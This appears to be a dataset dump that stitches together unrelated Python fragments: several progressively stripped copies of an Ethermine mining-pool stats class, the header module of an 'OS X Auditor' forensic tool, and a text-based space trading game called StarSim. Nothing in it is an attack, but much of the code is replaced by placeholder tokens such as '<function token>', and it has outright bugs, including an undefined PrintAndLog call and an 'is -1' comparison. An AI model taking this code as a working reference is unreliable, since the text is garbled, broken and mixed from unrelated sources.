speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __init__(self, pool, pool_attrs):\n super(EtherminePool, self).__init__(pool, pool_attrs)\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n\n def get_worker_stats(self, miner, worker):\n url = self._MINER_URL_PER_WORKER.replace('{MINER}', self.\n _clean_coin_address(miner)).replace('{WORKER}', worker)\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n\n def build_creation_parameters(self, pool, pool_attrs, pool_classname):\n params = super(EtherminePool, self).build_creation_parameters(pool,\n pool_attrs, pool_classname)\n server_location = 'US'\n if pool.startswith('eu1.etc') or pool.startswith('eu1.eth'):\n server_location = 'Europe'\n elif pool.startswith('us1-etc'):\n server_location = 'US'\n elif pool.startswith('us1.eth'):\n server_location = 'US East'\n elif pool.startswith('us2.eth'):\n server_location = 'US West'\n elif pool.startswith('asia1.eth'):\n server_location = 'Asia'\n params['unique_id'\n ] = 'ETHERMINE - ' + server_location + ' (' + self._DEFAULT_COIN_ + ')'\n return params\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n\n def parse_json(self, json, results, miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost):\n record = json['data']\n if record == 'NO DATA':\n miner_coin_idx = None\n if hasattr(miner, 'coin_idx'):\n miner_coin_idx = miner.coin\n if miner_coin_idx is None or miner_coin_idx != coin_idx:\n miner.coin_address = ''\n return False\n speed_suffix = 'H'\n try:\n speed_accepted = float(record['currentHashrate'])\n except:\n speed_accepted = 0.0\n try:\n speed_reported = float(record['reportedHashrate'])\n except:\n speed_reported = None\n json_miner_stats = self.get_miner_stats(miner)\n record_miner_stats = json_miner_stats['data']\n try:\n coins_per_minute = float(record_miner_stats['coinsPerMin'])\n except:\n coins_per_minute = 0.0\n try:\n active_workers = float(record_miner_stats['activeWorkers'])\n except:\n active_workers = 1\n profitability = coins_per_minute * (60 * 24\n ) / speed_accepted / active_workers\n results.populate_pool_results(miner, worker, pool, algo, algo_idx,\n coin_idx, coin_cost, profitability, speed_accepted,\n speed_reported, speed_suffix)\n return True\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n\n def get_pool_stats(self, results, miner, worker, algo, pool_id, pool_url):\n if algo == 'ethash':\n algo_idx = get_algo_index('daggerhashimoto')\n else:\n algo_idx = get_algo_index(algo)\n if algo_idx is -1:\n return False\n coin_idx = get_coin_index(self._DEFAULT_COIN_)\n coin_cost = get_coin_cost(self._DEFAULT_COIN_, 'USD')\n success = False\n json = self.get_worker_stats(miner, worker)\n if json:\n success = self.parse_json(json, results, miner, worker, pool_id,\n algo, algo_idx, coin_idx, coin_cost)\n return success\n <function token>\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def get_miner_stats(self, miner):\n url = self._MINER_URL_PER_MINER.replace('{MINER}', self.\n _clean_coin_address(miner))\n api = RestAPI(url=url, port=80)\n return api.get_json()\n <function token>\n <function token>\n", "<import token>\n<docstring token>\n\n\nclass EtherminePool(BasePool):\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<docstring token>\n<class token>\n" ]
false
9,959
547d67bce7eb05e55e02c73a22342ca572e89f39
import os import log import core import time __description__ = 'OS X Auditor' __author__ = 'Atarimaster & @Jipe_' __version__ = '0.5.0' ROOT_PATH = '/' Euid = str(os.geteuid()) Egid = str(os.getegid()) def generate_header(): header = {} # Description(Audited By) description = "Report generated by " + __description__ + " v" + __version__ + " on " + time.strftime('%x %X %Z') + " running as " + Euid + "/" + Egid header['description'] = description # Audited Path audit_path = "Audited system path: " + ROOT_PATH.decode("utf-8") header['audit_path'] = audit_path # System Version AuditedSystemVersion = GetAuditedSystemVersion() sysv = "Version of the audited system: " + AuditedSystemVersion header['system_version'] = sysv # Current Timezone Timezone = GetAuditedSystemTimezone() tz = "Current timezone of the audited system: " + Timezone header['timezone'] = tz return header def GetAuditedSystemVersion(): global OSX_VERSION SysVersion = "Unknown system version" SystemVersionPlist = False SystemVersionPlist = core.UniversalReadPlist("/System/Library/CoreServices/SystemVersion.plist") if SystemVersionPlist: if "ProductName" in SystemVersionPlist: SysVersion = SystemVersionPlist["ProductName"] if "ProductVersion" in SystemVersionPlist: SysVersion += " " + SystemVersionPlist["ProductVersion"] if "ProductBuildVersion" in SystemVersionPlist: SysVersion += " build " + SystemVersionPlist["ProductBuildVersion"] OSX_VERSION = { "ProductBuildVersion": SystemVersionPlist["ProductBuildVersion"], "ProductVersion": SystemVersionPlist["ProductVersion"], "MajorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[0]), "MinorVersion": int(SystemVersionPlist["ProductVersion"].split('.')[1]), "PatchVersion": int(SystemVersionPlist["ProductVersion"].split('.')[2]) } else: log.PrintAndLog(u"Cannot determine the system version", "ERROR") return SysVersion def GetAuditedSystemTimezone(): """ Return the current system timezone """ Timezone = False try: Timezone = os.path.realpath(os.path.join(ROOT_PATH, "etc/localtime")) Timezone = Timezone.split("/") except Exception as e: PrintAndLog(u"Cannot read the timezone" + str(e.args).decode("utf-8"), "ERROR") return Timezone[-2] + "/" + Timezone[-1]
[ "import os\nimport log\nimport core\nimport time\n\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\n\nROOT_PATH = '/'\n\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\ndef generate_header():\n header = {}\n\n # Description(Audited By)\n description = \"Report generated by \" + __description__ + \" v\" + __version__ + \" on \" + time.strftime('%x %X %Z') + \" running as \" + Euid + \"/\" + Egid\n header['description'] = description\n\n # Audited Path\n audit_path = \"Audited system path: \" + ROOT_PATH.decode(\"utf-8\")\n header['audit_path'] = audit_path\n\n # System Version\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = \"Version of the audited system: \" + AuditedSystemVersion\n header['system_version'] = sysv\n\n # Current Timezone\n Timezone = GetAuditedSystemTimezone()\n tz = \"Current timezone of the audited system: \" + Timezone\n header['timezone'] = tz\n\n return header\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n\n SysVersion = \"Unknown system version\"\n SystemVersionPlist = False\n\n SystemVersionPlist = core.UniversalReadPlist(\"/System/Library/CoreServices/SystemVersion.plist\")\n\n if SystemVersionPlist:\n if \"ProductName\" in SystemVersionPlist: SysVersion = SystemVersionPlist[\"ProductName\"]\n if \"ProductVersion\" in SystemVersionPlist: SysVersion += \" \" + SystemVersionPlist[\"ProductVersion\"]\n if \"ProductBuildVersion\" in SystemVersionPlist: SysVersion += \" build \" + SystemVersionPlist[\"ProductBuildVersion\"]\n\n OSX_VERSION = {\n \"ProductBuildVersion\": SystemVersionPlist[\"ProductBuildVersion\"],\n \"ProductVersion\": SystemVersionPlist[\"ProductVersion\"],\n \"MajorVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[0]),\n \"MinorVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[1]),\n \"PatchVersion\": int(SystemVersionPlist[\"ProductVersion\"].split('.')[2])\n }\n\n else:\n log.PrintAndLog(u\"Cannot determine the system version\", \"ERROR\")\n\n return SysVersion\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, \"etc/localtime\"))\n Timezone = Timezone.split(\"/\")\n except Exception as e:\n PrintAndLog(u\"Cannot read the timezone\" + str(e.args).decode(\"utf-8\"), \"ERROR\")\n\n return Timezone[-2] + \"/\" + Timezone[-1]", "import os\nimport log\nimport core\nimport time\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\nROOT_PATH = '/'\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n", "<import token>\n__description__ = 'OS X Auditor'\n__author__ = 'Atarimaster & @Jipe_'\n__version__ = '0.5.0'\nROOT_PATH = '/'\nEuid = str(os.geteuid())\nEgid = str(os.getegid())\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n", "<import token>\n<assignment token>\n\n\ndef generate_header():\n header = {}\n description = ('Report generated by ' + __description__ + ' v' +\n __version__ + ' on ' + time.strftime('%x %X %Z') + ' running as ' +\n Euid + '/' + Egid)\n header['description'] = description\n audit_path = 'Audited system path: ' + ROOT_PATH.decode('utf-8')\n header['audit_path'] = audit_path\n AuditedSystemVersion = GetAuditedSystemVersion()\n sysv = 'Version of the audited system: ' + AuditedSystemVersion\n header['system_version'] = sysv\n Timezone = GetAuditedSystemTimezone()\n tz = 'Current timezone of the audited system: ' + Timezone\n header['timezone'] = tz\n return header\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\ndef GetAuditedSystemTimezone():\n \"\"\" Return the current system timezone \"\"\"\n Timezone = False\n try:\n Timezone = os.path.realpath(os.path.join(ROOT_PATH, 'etc/localtime'))\n Timezone = Timezone.split('/')\n except Exception as e:\n PrintAndLog(u'Cannot read the timezone' + str(e.args).decode(\n 'utf-8'), 'ERROR')\n return Timezone[-2] + '/' + Timezone[-1]\n", "<import token>\n<assignment token>\n<function token>\n\n\ndef GetAuditedSystemVersion():\n global OSX_VERSION\n SysVersion = 'Unknown system version'\n SystemVersionPlist = False\n SystemVersionPlist = core.UniversalReadPlist(\n '/System/Library/CoreServices/SystemVersion.plist')\n if SystemVersionPlist:\n if 'ProductName' in SystemVersionPlist:\n SysVersion = SystemVersionPlist['ProductName']\n if 'ProductVersion' in SystemVersionPlist:\n SysVersion += ' ' + SystemVersionPlist['ProductVersion']\n if 'ProductBuildVersion' in SystemVersionPlist:\n SysVersion += ' build ' + SystemVersionPlist['ProductBuildVersion']\n OSX_VERSION = {'ProductBuildVersion': SystemVersionPlist[\n 'ProductBuildVersion'], 'ProductVersion': SystemVersionPlist[\n 'ProductVersion'], 'MajorVersion': int(SystemVersionPlist[\n 'ProductVersion'].split('.')[0]), 'MinorVersion': int(\n SystemVersionPlist['ProductVersion'].split('.')[1]),\n 'PatchVersion': int(SystemVersionPlist['ProductVersion'].split(\n '.')[2])}\n else:\n log.PrintAndLog(u'Cannot determine the system version', 'ERROR')\n return SysVersion\n\n\n<function token>\n", "<import token>\n<assignment token>\n<function token>\n<function token>\n<function token>\n" ]
false
9,960
97611fef5faafe660c7640e4a5aec8456e52135c
''' Created on 17.05.2018 @author: markus ''' import Ship import Player import Planet import random from FighterShip import FighterShip turnCounter = 0 def cleanScreen(): for i in range(0,50): print("") def spacePirates(player):#space prites attack, their firepower is +/-20% of player firepower while True:# loop cleanScreen() print("*****F*U*C*K****S*P*A*C*E*P*I*R*A*T*E*S***A*T*T*A*C*K*****") playerFirepower = player.getTotalFirepower() piratesFirepower = int(playerFirepower*(1+random.randint(-20,20)/100)) if ((random.randint(0,playerFirepower) > playerFirepower/3) and (random.randint(0,piratesFirepower) < piratesFirepower/3) or (playerFirepower == 0)): print("Damm, you got robbed by the pirates!") print("You lost all your cargo and half your money!") player.clearTech() player.clearFood() player.updateCargoUnits() player.setCredits(player.getCredits()/2) else: print("Lucky you! Your fighters drove them off!") print("**********************************************************") input("Hit enter to continue") break def shipyardMenu(player, planet): while True:# loop cleanScreen() print("*****W*E*L*C*O*M*E****T*O****T*H*E****S*H*I*P*Y*A*R*D*****") player.printStats() print("**********************************************************") shipList = planet.getShipyard() print("Available Ships:") print("**********************************************************") i = 0 for s in shipList: print("Nr.:"+str(i)+":"+s.toString()) i += 1 print("**********************************************************") userInput = input("Enter the number you would like to by or x to leave:") if (userInput == "x"): break; else: ui = int(userInput) if (ui <= i): if(player.getCredits() > shipList[ui].getPrice()): #has enough money if(type(shipList[ui]) == FighterShip): player.addFighterShip(shipList[ui]) player.updateFirePower() else: player.addCargoShip(shipList[ui]) player.updateCargoUnits() player.setCredits(player.getCredits() - shipList[ui].getPrice()) player.updateMaintenance() del shipList[ui] else: print("wrong number, try again ....") def spacePortMenu(player, planet): global turnCounter while True:# loop cleanScreen() print("****W*E*L*C*O*M*E****T*O****T*H*E****S*P*A*C*E*P*O*R*T****") print("Enter 1 to jump to a agri planet (risk 5%)") print("Enter 2 to jump to a tech planet (risk 10%)") print("Enter 3 to jump to a war planet (risk 20%)") userInput = input("Or enter x to exit:") risk = 0 if (userInput == "x"): return planet elif (userInput == "1"): risk = 5 elif(userInput == "2"): risk = 10 else: risk = 20 if (random.randint(0,100) <= risk): spacePirates(player) player.setCredits(player.getCredits() - player.getTotalMaintenance()) turnCounter += 1 return Planet.Planet(int(userInput)) def marketMenu(player, planet): while True:# loop cleanScreen() print("*******W*E*L*C*O*M*E****T*O****T*H*E****M*A*R*K*E*T*******") player.printStats() print("**********************************************************") market = planet.getMarket() print("Price for Food = ",market["Food"]) print("Price for Tech = ",market["Tech"]) print("**********************************************************") userInput = input("Enter 1 for Food, 2 for Tech or x for exit:") str ="" if (userInput == "1"): str = "Food" elif(userInput == "2"): str= "Tech" else: break print("**********************************************************") max = 0 if(market[str]*player.freeCargoUnits <= player.getCredits()):#enough credit? max = player.freeCargoUnits else: max = int(player.getCredits()/market[str]) print("Price for "+str+" = ",market[str]) secondInput = input("Would you like to buy (enter b) or sell (enter s)?") if (secondInput == "b"):#buying print("You can buy a maximum of",max,"units") nr = input("How much would you like to buy? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if((player.getCredits() > market[str]*nr) and (nr <= max)): #has enough money and space if (str == "Food"): player.addFood(nr) else: player.addTech(nr) player.setCredits(player.getCredits() - market[str]*nr) player.updateCargoUnits() else:#selling if (str == "Food"): print("You can sell a maximum of",player.getFood(),"food units") nr = input("How much would you like to sell? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if (nr <= player.getFood()): player.sellFood(nr) player.setCredits(player.getCredits() + nr*market["Food"]) else: print("You can sell a maximum of",player.getTech(),"tech units") nr = input("How much would you like to sell? Or press x to exit") if (nr == "x"): pass else: nr = int(nr) if (nr <= player.getTech()): player.sellTech(nr) player.setCredits(player.getCredits() + nr*market["Tech"]) def menu(player): global turnCounter notFinished = True planet = Planet.Planet(random.randint(1,3)) while notFinished:#main game loop cleanScreen() if (player.getCredits() < 0): print("Sorry, but you ran out of credits and therefore lost the game in round,",turnCounter,"!") break print("**********************************************************") print("Turn nr.",turnCounter,"in this glorious space trading simulation") player.printStats() print("**********************************************************") print("You are on Planet:",planet.getName()) print("**********************************************************") print("Enter 1 to go to the shipyard") print("Enter 2 to go to the market") print("Enter 3 to go to the spaceport") print("Enter exit to leave the game") userinput = input("Your Input:") if (userinput == "1"): shipyardMenu(player, planet) elif (userinput == "2"): marketMenu(player, planet) elif (userinput == "3"): planet = spacePortMenu(player, planet) else: notFinished = False print("***************************************") print(" Welcome to StarSim") print("***************************************") name = input("Please enter your Name:") player = Player.Player(name) menu(player)
